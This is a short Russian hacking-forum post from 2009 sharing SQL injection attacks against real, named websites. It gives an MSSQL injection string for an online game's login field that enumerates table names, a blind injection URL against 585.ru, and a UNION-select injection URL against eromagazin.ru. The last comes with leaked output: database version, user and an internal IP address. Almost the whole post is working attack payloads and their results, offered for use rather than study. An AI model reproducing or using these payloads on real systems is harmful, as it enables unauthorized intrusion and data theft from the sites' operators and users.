26.04.2009, 16:02
|
|
Познающий
Регистрация: 24.04.2007
Сообщений: 92
С нами:
10025299
Репутация:
412
|
|
online game
thx for Saint
mssql-inj поле логина,результат в урл
Таблы:
wqe' or 1=(select top 1 TABLE_NAME from INFORMATION_SCHEMA.COLUMNS where TABLE_NAME NOT IN('UserRecords','Objects','InheritanceMapping','U serRecordParts','CharacterRecordParts','TypesMappi ng','CharacterRecords','UserRecordsToUserRecordPar ts','UserRecordsToCharacterRecords','CharacterReco rdsToCharacterRecordParts','JabberUserRecords','WO TCharacterRecordStubs'))--
================================================== ==================================
http://www.585.ru/index.php?main=11&sess=12103026&model=3446+and+sub string(@@version,1,1)=4
version():4 ;(
================================================== ==================================
http://eromagazin.ru/info/?id=-6300+union+select+1,2,3,4,5,6,7,8,9,table_name,11, 12,13+from+information_schema.tables--
concat_ws(0x3a,version(),user(),database()):5.0.67-log:u30200@10.10.153.166:u30200 |
|
|